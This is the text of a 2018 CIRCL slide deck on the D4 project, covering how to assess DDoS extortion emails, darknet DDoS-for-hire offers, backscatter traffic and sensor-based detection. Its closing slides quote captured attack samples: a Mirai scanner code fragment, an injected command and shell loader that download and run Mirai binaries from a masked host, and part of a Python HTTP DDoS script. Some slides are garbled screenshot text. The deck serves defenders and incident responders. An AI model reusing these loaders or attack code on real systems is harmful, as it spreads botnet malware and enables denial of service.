### How to benefit from DDOS ecosystem The D4 project



CIRCL Computer Incident Response Center Luxembourg Gérard Wagener TLP:WHITE

http://www.circl.lu/ Twitter: @d4\_project

November 13, 2018



### How to use our tools and databases in case of DDOS

# Part 1 - DDOS threat evaluation

### The accidental denial of service

Denial of services not triggered by an attacker

- Configuration errors in DNS, PABX, proxies, ...
- Asymmetric routing
- IP conflicts
- Never experienced software / hardware side effects
  - Experienced often after equipment replacement
  - $\circ~$  Full state table management of firewalls
  - $\circ~$  Load balancing edge cases
  - $\circ~$  Interception proxies
  - Untested fall back mechanisms
- Difference between documentation and practical implementation
- Domino effects
- Badly coordinated maintenance

### The accidental denial of service

### Configuration errors are quickly done



https://circl.lu/situational-awareness/

### DDOS blackmail

Blackmail send by email

'Should we attack ...

There are proofs of our capabilities:

https://twitter.com/apophissquadv2/status/1011743626890760193

Now the real question is are are willing to pay a lifetime protection fee?

If the answer is positive pay exactly to 2.01 Bitcoin to ... before before the Wednesday ...'

How do you react towards such mails?

### Threat evaluation

- Where is the email from  $\rightarrow$  email headers  $^1$
- Did other organizations receive a similar mail\*
- Is a specific target mentioned? (i.e. website, online service, ...)
- Payment method: Bitcoin?
  - $\circ~$  Check if others paid already\*
  - $\circ~$  Number of Bitcoin transactions  $\sim$  number of targets\*
- To whom was it send within your organization?
- Is the text generic?
- \* Do lookups in https://misppriv.circl.lu for instance

<sup>&</sup>lt;sup>1</sup>https://circl.lu/pub/tr-07/

### Threat evaluation

Search information on the attacker

- Identify typical attacker artefacts
  - Email addresses, Twitter handle, uncommon strings
- Search email address in AIL
  - $\circ~$  Identify attack scripts  $\rightarrow$  which attack techniques are they using?
  - $\circ~$  Identify hidden services related to them
- Search Twitter account in AIL or on Twitter
  - $\circ~$  Read about capacity, political background
  - Identify old targets
- Check other and your own data sources  $\rightarrow$  how many colleagues received the blackmail
- Source for uncommon strings: raw email message<sup>2</sup>
- Challenge: filter out imitators

```
<sup>2</sup>https://circl.lu/pub/tr-34/
```

### Is the event known?

#### Search in MISP

Event ID

the state

Fake ransom DDoS emails 11580



- Pivots - Callaxy     X 11580: Foko r.      Galaxies     Ass     - previous next     .     Date Q     2018-08-21	+ Event graph. + Cor view all E © > Category Financial haud	e anton graph Type bio	+ ATTACK Value 356xTGJm	Filters Al Fix	Network Fin	ancial Propos Tags DEy R	al Constation Galaxies Add	Warrings Delated Continent BTC Address to se isonay	Context Relate	ed Tags Correlate	Rolated Events	Feed hits	Q IDS Yes	Distribution	Sightings : $O \heartsuit F$ (OBVO)	Activity	Actions C 🖹 C 着
Pivots - Galaxy     Galaxies     Ads     previous next     Date Q     Dite Q2	+ Event graph + Cor - view all G Category Expanded I build	e anton graph I Type Ibbs	+ATTACK	Filters All Filt	<ul> <li>Network Fin</li> <li>CAreNing-Arror</li> </ul>	ancial Propos Tags	al Consusson Galaxies	Warnings Dakoted Comment BIG Address to se	Context Relate	ed Tags	Related Events	Feed hits	Q IDS Ves	Distribution	Sightings	Activity	Actions
Physis - Galaxy     A 11560; Fake c.      Galaxies     Ass     provideus next      Physic Data	+ Event graph + Cor	elation graph	+ ATTACK	Filmer All Fix	Network Fin	ancial Propos	al Comulation	Wernings Deleted	Context Relate	d Tags	Related Furnity	East bir	٩	Distribution	Sinhelene	Arthubu	Articos
Pivots = Galaxy     11560: Fake r.      Galaxies     Ass     provious next	+Event graph +Cor	elation graph	+аттаск	Etters AL Fix	Network Fin	anial Proces	al Constation	Wernings Deleted	Contact Belate	ef Tano			٩				
Pivots Catazy     Catazy     X 11560: Fake r.      Galaxies     Asc      previous next	+Event graph +Cor	elation graph	+аттаск	matrix — Atribu	es =Discussi	an.											
- Pivots - Galaxy * 11560: Fake r. Galaxies Add	+Event graph +Con	elation graph	+ATT&CK	natix - Atribu	Nes — Discussi	ion .											
- Pivos - Galaxy * 11560; Fako t. Galaxies Add	+Eventgraph +Cor	elation graph	+ ATTACK	natix - Atribu	Nes — Discussi	ion											
- Pivots - Galaxy × 11560: Fake r. Galaxies	+Event graph +Cor	elation graph	◆аттаск	natix - Abibu	les = Discussi	ion											
<ul> <li>Pivots — Galaxy</li> <li>X 11580: Fake t.</li> </ul>	+Eventgraph +Cor	elation graph	+ATT&CK	natix - Atribu	tes =Discussi	ion.											
- Pivots - Galaxy	+Eventgraph +Cor	relation graph	+ATT&CK	natix =Atrbu	les =Discussi	ian											
- Pivots - Galaxy	+Eventgraph +Cor	elation graph	+ATTACK	natix =Atribu	les =0iscussi	lan'											
						_											
Correlation	Enabled (disable)																
Activity	1																
Sightings	2 (0) 🖈																
extended by																	
Last change Trianda	2016/08/22 10:20:2	•															
Attributes	13																
ublished	Yes																
nto	Fake ransom DDoS	emails															
Distribution	All communities 0																
Analysis	Completed																
Dreat Level	Low																
Date	2018-08-21																
lags	circlincident-class	sTication="de	niai-of-servi	o" a circttop	calfinance"	Sporeen a	ecsittavallabil	ys"ddos" x s									
mail	nichael.hanm@cir	d Ju															
Contributors																	
wher org ontributors	CIRCL																

### Is the event known?

**MISP** sightings

Sighting details							
Graph All My org Add s	ighting						
Date	Organisation	Туре	Source	Event ID	Attribute ID	Actions	
2018-08-21 14:29:22		Sighting		11580	1269476		÷.
						С	ancel

Did other organizations saw some attributes?

### Is the event known?

#### Did others paid



- Bitcoin address reused for a target
- One Bitcoin address per target
- Search in MISP other attributes (email source address, ...)

# How many people paid? Using MISP

Lookup results:				to Audreas to send the money		
Btc Steroids:				TC Address to send the money		8628
Address: 16nFV:	usdKWSRWXM3Ch56wQeTib3ajXxJuQ			TC Address to send the money		
Transactions: 11	(previewing up to 5 most recent)	5312307400 BTC)			_	
	(providenting op to 5 most recent)			IC Address to send the money	$\sim$	8628
#5 29 Oct 2018 1	7:25:06 CET -0.09104846 BTC	574.87 USD	502.83 EUR			
#5 29 OCT 2018 1	7:25:06 CET -0.00007600 BTC	0.48 USD	0.42 EUR	TC Address to send the money		
#5	Sum: -0.09112446 BTC	575.35 USD	503.25 EUR	TC Address to send the money		8628
#4 18 Oct 2018 19	9:12:49 CEST 0.00007600 BTC	0.49 USD	0.43 EUR			
#3 17 Oct 2018 20	0:01:12 CEST 0.09104846 BTC	598.60 USD	515.23 EUR	TC Address to send the money	<	
#2 10 Oct 2018 20	9:49:13 CEST -0.00480330 BTC	426.87 USD	369.03 EUR			
#2 10 Oct 2018 20	9:49:13 CEST -0.08692091 BTC	572.03 USD	494.52 EUR	TC Address to send the money		
#2 10 Oct 2018 20	9:49:13 CEST -0.10000000 BTC	658.11 USD	568.93 EUR			
#2 10 Oct 2018 20	9:49:13 CEST -0.09192300 BTC	684.95 USD	522.97 EUR	TC Address to send the money		
#2 10 Oct 2018 20	9:49:13 CEST -0.01508000 BTC	99.24 USD	85.79 EUR	is include to beind the money		
#2 10 Oct 2018 20	9:49:13 CEST -0.08908289 BTC	586.26 USD	506.82 EUR			
#2 10 Oct 2018 20	9:49:13 CEST -0.09224212 BTC	607.05 USD	524.79 EUR	TC Address to send the money		
#2	Sum: -0.54011228 BTC	3554.52 USD	3072.84 EUR	TC Address to send the money		
#1 29 Sep 2018 20	0:29:42 CEST 0.08008289 BTC	588.28 USD	505.66 EUR	TC Address to send the money		
				_		
Financial fraud blc	16nFVusdKWSRwXM3Ch56wQeTib3ajXxJu Q	a 🖬	Add	BTC Address to send the money		8891
Financial fraud btc	11ZsJSUozT5xGTcCfaEh3CSMT8mk5UnLx	् 🗗	Add	BTC Address to send the money		
Financial fraud btc	1CrSMQpX4BDyxjEU9fmbm1vdDcE86BGLz Q	h 🛨	Add	BTC Address to send the money		
		_	_			

### Monitoring future publications in AIL

earch Paste													
	Terms frequency: N	lana	gement inter	face									
AIL	1 iem per pasie												
	Manage tracked terms												
	Regars served for later 1y 7. (\$4-(bit of bit of bi												
	apophisequade2		Notification E-Mails	(optional, space separated)		Tags (optional, spa	ce separated)	Addtern					
	Show 11 - Jenties												
	Term	п	Added date	Day occurrence	Week oc	srence	Month occurrence	# tracked paste	Action		NotEcution E-Mails		
	ddas drot incidens classification - "denial eillenvice"	1	2010-11-08 15:01:00	•	14		14	12	• *	•			
	encrypt		2018-09-10 16:27:10	•	0		1	1	0 8				
	lody		2010-09-10 14:52:18	0	0		0	1	0 8				
	nalware		2018-09-10 14:52:12	•	1		2	3	0 8	•			
	ransom		2018-09-10 14:52:16	•	0		0	1	0 8	•			
	Showing 1 to 6 of 6 entries	Beering to 6 of Seeting											
	Manage blacklasted terms												
	n Term to track		Black list a term										
	Stee 10 entries									Search:			
	Term II Added date I Action												
	FRA GAMA OF ALL AND IN THE PARTY												

12 of 37

### **DDOS** services

#### Example of a TOR hidden service

The following prices are estimates, if i think a specific job takes more time and money i will either refund you or you will send the remaining once we talked.

If you are unsure about which category to choose, choose the lower priced one in question.

You will only pay for successful jobs, if I can not do anything for you I will refund you. But keep in mind depending on your target specific things might take longer and require an addition payment, but only after I can show some success.

Product	Price	Quantity
Small job, for example: Email and Facebook hacking, installing trojans, small DDOS	250 EUR = 0.046 ₿	1 X Buy now
Medium-large job, ruining people, espionage, website hacking, DDOS for big websites	500 EUR = 0.092 ₿	1 X Buy now
Large job which takes a few days or multiple smaller jobs, DDOS for protected sites	900 EUR = 0.165 \$	1 X Buy now
UPGRADE: INSTANT reply within 30-60 minutes instead of 24-36 hours for urgent cases. If i need longer this will get refunded. Only buy this together with one of the other options.	200 EUR = 0.037 ₿	1 X Buy now

### How serious do you take such services?

13 of 37

### Example of a TOR hidden service

Evaluating the service

- Is it a specialized DDOS attacks?
- Are their details about the attack techniques or capacities?
  - Amplification attacks
  - $\circ$  IP spoofing
  - $\circ~$  Application attacks
  - ° ...
- Since how long are the services announced?
  - Check .onion addresses in AIL
  - $\circ~$  Analyse the repostings  $\rightarrow$  differences
- Check threat sharing platforms to check .onion addresses

### Crawl hidden services with AIL

O Dathbard C Submi																	
CIRCL																	
AIL Analysis of informati	in laste	Lat. Feeder(s) M	onitoc						IM OPPOR	is Monito							
Search Paste Q		Processed pas	des .														
03 03 1 2 0 4 0 6 7 Display queues Working queues	8 0	Filtered duplice	1064							30	104.05	15:04:10	15.94	15	150420	15.0	425
Stuck queues										30	:04:05	15:04:10	15:04	15	15:04:20	163	425
Queue Name PID	Amount	El Logs													IN PONT	O 🖾 WARNI	
MISP_The_tove_texter.tox3 Dates 9008	0																
Phone 3120	0	Time	Channel	Level	Script Name	Source	Date	Paste norse						Message			Actions
SatForTermsFrequercy.srep	0	15:24:29	Soriot	WARNING	Onion	crawled	20181108	shepsat2dotbtbs.onion	0082602101414	500-81e	1-e14910039630			· Dete	cted 4 periods)		9
Dres 9087 DorsClassifier 9092	0	18.34.30	Durind	WAGAIAV2	Onter	control	20101120	share at high data a stress	and the state	-	o constanting			. 0.4	charges a balance		
Curve.9146	0	12.24.00	our pr	in the second se	COLON	Carrier	20101100			4100-81				0.000	Card I School (s)		~
Tags 9009	0	15:24:29	Script	WARNING	Onion	crawled	20101108	shopsat2dotlotbs.onion	c28558cc-7e48-4	042-919	5-c3#534cdc299			<ul> <li>Dete</li> </ul>	cled 47 .onion(s)		٩
Web.9136 Ritcap.8185	0	15:24:39	Script	WARNING	Onion	crawled	20181108	shopsat2do8bbs.onion	c5254917-ba49	4e9c-ad	9-Gad33x57dHef			Dela	cted 4 .onion(x)		۹
Independent	0	15:24:29	Sector	WARNING	Onice	readed	20101108	shows Oddishs raises	cea10x22.7119	4344.87	27.425284106235			O Dete	(design 1 being		
Decoder.9178	0													-			
Total 100 and	0	15:24:39	ocres	104-0102.4	Union	crawed	20101108	Population of Colors	10020754-903D-	41962-366	0.0006303458.88			e ba	card 1 Jonion(k)		4
Géobal.ecres	0	15:24:49	Script	WARNING	Onion	crawled	20181108	tarlinkbgs8aabns.onion	66501984-1315	-43a1-80	la6-bolf#54ce6ea			Dete	cted 236 .onion(s)		Q.
Keys.9172	0	15:25:00	Sorpt	WARNING	Onton	crawled	20181108	terlinkbystaabris.onion	12585045-3044	4967-04	ea-61ed342e2e0e			<ul> <li>Dete</li> </ul>	cted 1 .onion(s)		9
Siguryactor Leadon Jone Received anna Programs	0	18.35.10	Rented	WARANA C	Onter	entered	201011120	Induktion Factors and on	-	-				@ 0.44	and The second state		
Modulo/5M9.9240	0		our pr					an apprend to for							Care 200 (010) (0)		~
BarkAccourt #114	0	15:25:27	Soript	WARNING	Onion	crawled	20181108	tarlinkbgs8aabris.onion	42488885 0046	4465 cd	de-314007537co4			Dete	cted 236 .onion(s)		Q.
Sentiment-vnarysla 3275 WebStata 3226	0	15:25:25	Script	WARNING	Onton	cnawled	20181108	torknikbgstaabes.ontor	7450363-c5fe-	4532-825	0c-3e02641caa89			<ul> <li>Det</li> </ul>	cted 235 .onton(s)		٩.
		15:25:29	Script	WARNING	Onion	crawled	20101108	torlinkbgsfaabna onion	0:228565-6323	45ec ad	b7-0e1149214d8c			<ul> <li>Dela</li> </ul>	cted 235 .onion(s)		٩
AIL		15:25:29	Script	WARNING	Onion	crawled	20181108	torlinkbgsflasbra.onion	3518574-999-1	9046-aee	9-45ce6b179dde			Dete	cted 235 .onion(s)		۹
-		15:25:30	Script	WARNING	Onion	crawled	20101108	258hnaochtev0.onior	nde45bc6d-b615	5-4723-8	243-49305506663			<ul> <li>Dete</li> </ul>	cted 2 .onion(s)		۹

### Crawl hidden services with AIL

- Tor crawler (aka regular crawler) is used to crawl .onion addresses
- Splash (scriptable browser) is rending the pages (including javascript) and produce screenshots (HAR archive too)



Figure: Architecture of AIL and its hidden services crawler

### Getting attack information

Example nationalcrimeagency.gov.uk

# UK's National Crime Agency hit by DDoS attack, following LizardStresser arrests

Last week, users of Lizard Squad's DDoS-on-demand service were feeling the heat after arrests were made by UK police. This week, it's the UK's National Crime Agency which has found itself the victim of a denial-of-service attack.



Graham Cluley 1 Sep 2015 - 02:01PM

17 of 37

### Getting additional information

Example nationalcrimeagency.gov.uk

What are the targets: The website?

nslookup nationalcrimeagency.gov.uk

Server: 127.0.0.53 Address: 127.0.0.53#53

Non-authoritative answer: Name: nationalcrimeagency.gov.uk Address: 194.61.183.46

### Getting additional information on DDOS attacks

Example nationalcrimeagency.gov.uk

find files/2015/08/28/ -type f | parallel -j 7 'zcat {}
| tcpdump -n -r - "host 194.61.183.46"'

17:10:06.857475 IP 194.61.183.46.80 > x.x.109.194.17293
Flags [S.], seq 1635851834, ack 1801912321, win 0, length 0
17:10:14.869661 IP 194.61.183.46.80 > x.x.109.73.58142:
Flags [S.EW], seq 1066513712, ack 4190371841, win 0, length 0
17:10:14.881036 IP 194.61.183.46.80 > x.x.111.106.49231:
Flags [S.EW], seq 1531124927, ack 252116993, win 0, length 0
17:10:15.186684 IP 194.61.183.46.80 > x.x.102.45.62535:
Flags [S.EW], seq 486934691, ack 536346625, win 0, length 0
17:10:18.946674 IP 194.61.183.46.80 > x.x.67.46.62399:
Flags [S.EW], seq 234597292, ack 4069785601, win 0, length 0

## Observing SYN floods attacks in backscatter traffic

Attack description



Fill up state connection state table of the victim

Other DDOS on nationalcrimeagency.gov.uk



### How is the claim "proved"?

21 of 37

DDOS targeting European Parliament, Europol and cert.eu



How is the claim "proved"?

Screenshots from the attacker are valuable information

🕥 Applications Places System 🥑 😒 🕕	Charle and character are	Largence Cha	is hard - collog a		ina - Manifia Dea	tere le restrer	and as south		4) D Mon Oct 8, 09:4
Check website performan: X Check website performan: X Check we	bsite performant × O Network Tools	DNS,IP,E ×	R nato.int - Ro	xotex >	rig - Mozela Pire			× 📀 europol at Du	
(←) → ♥ ♠ 00 ♠ https://check-host.net/check-http?ht								🗢 🌣	n 0 2 2 0 ≡
😨 Start 🔊 Parrot 🖉 Wiki 🦉 Community 🛅 privacy 🛅 pertest 🛅 learn 🦉									
	[ Norop	UTTO	(TCD ++++)	UDDeest	[DNC]				
		g nir	TOP por	one bost	UNS				
	Ch	eck website htt	p://europol.eur	opa.eu:80		22 88			
	Permanent link to this check repo	Result	Time	Code			0		
	II Canada, Toronto	Connection limed red					0		
	E France, Roubaix	Connection							
	Gernany, Fakenstein	Connection							
	I I taly, Milan	Connection timed out							
	= Letvie, Rise	Connection timed out							
	Littuaria, Vitrius	Connection timed out							
	Moldova, Chisinau	Connection timed and							
	Netherlands, Amsterdam	Connection							
	Portugal, Oporto	Connection							
	Russia, Moscow	Connection							
	Russia, Moscow	Connection							
	Sweden, Stockholm	Connection							
	Switzerland, Zurich	Connection							
	Likuaine. Dritespeturysk	Connection							
	Lissaine Khmelnutskui	Connection							
	The second second second	Connection							
	and some Anglant, Corost	timed out Connection							
A Charlough the and one	The volume of the second	timed out							

Screenshots from the attacker are valuable information

- If some operational security is done
  - Hide displayed hints (i.e. user name, IP address, country)
- Local time
- Used operating system
- Used browser
- Used browser plugins
- Bookmarks
- Open other tabs
- Configured search engines
- Some cases images contains meta data such as exif.

24 of 37

# Part 2 - DDOS analysis D4 project objectives

### Current DDOS mitigation limitations

Detection and reporting time

- Large detection time  $\rightarrow$  customer reports  $\rightarrow$  debugging
- Identify targets
- Analyse a sample of traffic  $\rightarrow$  derive some counter measures
- Notify DDOS to third parties  $\rightarrow$  take actions upstream
- Call ISP ask for help  $\rightarrow$  take actions upstream
- Switch infrastructure
- Set up communication channel with customers

• ...

Reference: https://www.circl.lu/pub/dfak/DDoSMitigation/

- Provide a constant and reliable view of DDoS attacks
- Overview of targets under DDOS
- Group targets: by country, sector, ...
- Derive DDOS risk probabilities
- Better understand attack strategies
  - Derive new DDOS techniques
  - Pinpoint limitations of existing DDOS mitigation platforms
- Be complementary to existing DDOS protection mechanisms
- Faster reaction to DDOS attacks

### D4 activities

- Development of the DDoS detection platform
  - $\circ~$  Deployment of distributed DOS detection devices on voluntary basis
- Make the platform open-source  $\rightarrow$  multiple instances
- Building a large-scale distributed DDoS sensor network
- Open D4 core working setup
  - Discussions about DDOS strategies, effectiveness of mitigation techniques and more
  - Provide open data sets
- Provision and advisory support services
  - Extension of CIRCL services (AIL, DMA)
  - Training courses

### D4 project

Reply on CIRCL research programs and infrastructure

- Continuous Honeypot/black-hole operation since January 2012<sup>3</sup>
- Operation of BGP ranking since May 2011<sup>4</sup>
- IP2asn<sup>5</sup>, DMA<sup>6</sup>, PSSL<sup>7</sup>, PDNS<sup>8</sup>, MISP, AIL
- Make them ready for serving as solid core infrastructure for the D4 project
  - $\circ~$  For instance address scalability issues
  - Facilitate quick deployment

<sup>3</sup>https://www.circl.lu/pub/tr-16/ <sup>4</sup>https://www.circl.lu/projects/bgpranking/ <sup>5</sup>https://www.circl.lu/services/ip-asn-history/ <sup>6</sup>https://www.circl.lu/services/dynamic-malware-analysis/ <sup>7</sup>https://www.circl.lu/services/passive-ssl/ <sup>8</sup>https://www.circl.lu/services/passive-dns/

### D4 project

Open collaborative project

- Deployment of sensors
  - $\circ~$  Get a more significant amount of data
- Expertise exchange about DDOS topics
  - Learn about requirements of constituents
  - Fingerprinting techniques of botnets
  - $\circ~$  Fingerprinting DDOS protection devices
  - Evaluating tar pitting techniques

o ...

- Provide integration mechanisms in exiting infrastructures
  - Automate to increase reaction time
  - $\circ~$  Facilitate information sharing with MISP

# Examples of passive DDOS capacity measurements Mirai



31 of 37

# Examples of passive DDOS capacity measurements Mirai

211	<pre>iph-&gt;id = rand_next();</pre>
212	iph->saddr = LOCAL_ADDR;
213	iph->daddr = get_random_ip();
214	<pre>iph-&gt;check = 0;</pre>
215	iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
216	
217	if (i % 10 == 0)
218	{
219	<pre>tcph-&gt;dest = htons(2323);</pre>
220	}
221	else
222	{
223	<pre>tcph-&gt;dest = htons(23);</pre>
224	}
225	tcph->seq = iph->daddr;
226	tcph->check = 0;
227	tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
228	
229	paddr.sin_family = AF_INET;
230	paddr.sin_addr.s_addr = iph->daddr;
231	paddr.sin_port = tcph->dest;
232	
233	sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, siz
32 of 37	}

AA\x00\x00AAAA cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://xx.xx.207.14/kanker; chmod 777 kanker; sl tftp xx.xx.207.14 -c get tftp1.sh; chmod 777 tftp1.sl sh tftp1.sh; tftp -r tftp2.sh -g xx.xx.207.14; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 xx.xx.207.14; ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf kanker tftp1.sh tftp2.sh ftp1.sh; rm -rf \*\x0

### Injected URLS in UDP payloads

```
# Gucci Ares
# Kik:XVPL IG:Greek.Ares
#!/bin/sh
# Edit.
WEBSERVER="xx.xx.207.14:80"
# Stop editing now
BINARIES="mirai.armumirai.arm5numirai.arm7umirai.x68u
   mirai.x86_mirai.m68k_mirai.mips_mirai.mpsl_mirai.ppc
   __mirai.sh4_mirai.spc"
for Binary in $BINARIES; do
   cd /tmp; echo ''>DIRTEST || cd /var; echo ''>DIRTEST
       ;wget http://$WEBSERVER/$Binary -O dvrHelper
   chmod 777 dvrHelper
   ./dvrHelper
dane7
```

### Examples of passive DDOS capacity measurements

Partial Netis or similar exploits

![](_page_34_Figure_2.jpeg)

2GB samples of malware collected within a year

35 of 37

### Using AIL for collecting DDOS malware

```
# grafica varia
print("____DDoS_for_.eventstyle____.eventstyle____print("_____DDoS_for_____
   HTTP, WebSite.----.")
print("____TheRunixx_&____.
   Huggve.---.")
# input del sito
url = sys.argv[1]
host_url = url.replace("http://", "").replace("https://
   ", "").split('/')[0]
# qui viene caricata la lista proxy dal file proxy.txt
in_file = open(sys.argv[2],"r")
proxyf = in_file.read()
in_file.close()
```

### Conclusions

- D4 projects 01/11/2018 goes from until 31/10/2020
- D4 is a collaborative project to gather information about DDOS
- D4 is an open project
- Join the project info@circl.lu
- Follow us on Twitter @d4\_project
- Co-financed by CEF action No: 2017-LU-IA-0099